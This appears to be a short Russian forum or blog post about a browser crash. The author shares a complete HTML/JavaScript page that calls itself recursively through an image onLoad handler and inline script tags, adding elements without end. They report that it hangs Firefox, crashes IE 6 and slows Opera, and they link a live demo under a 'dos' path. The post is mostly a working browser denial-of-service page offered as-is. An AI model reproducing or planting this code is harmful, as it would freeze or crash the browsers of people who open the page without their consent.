Искал утечку памяти в опере.. В итоге опера стабильно всё обрабатывает и останавливается после ~минуты лагов, а последний ФФ виснет намертво. Утечки памяти нету, но зависает браузер.. ИЕ 6 просто выпадает.
Сам код:
<html>
<body>
<form name="a" >
<div id="d">
<input type="button" id="add"><br><br>
<img border='0' src='1.gif' onLoad='add();'>
</div>
</form>
<script language="javascript">
function add(){
div=document.getElementById("d");
button=document.getElementById("add");
newitem="<a target='_blank' ";
newitem+="href='http://mrthe.name/'>";
newitem+="<img border='0' src='1.gif' onLoad='add();'></a>";
newitem+="<scri";
newitem+="pt>add();</sc";
newitem+="ript>";
newnode=document.createElement("span");
newnode.innerHTML=newitem;
div.insertBefore(newnode,button);
add();
}
add();
</script>
</body>
</html>
По результатам из browsershots видно, что только опера,некоторые версии сафари, хром(похоже, что тоже не все версии) и старые версии фф обрабатывают скрипт без зависания.
Демо - http://mrthe.name/dos/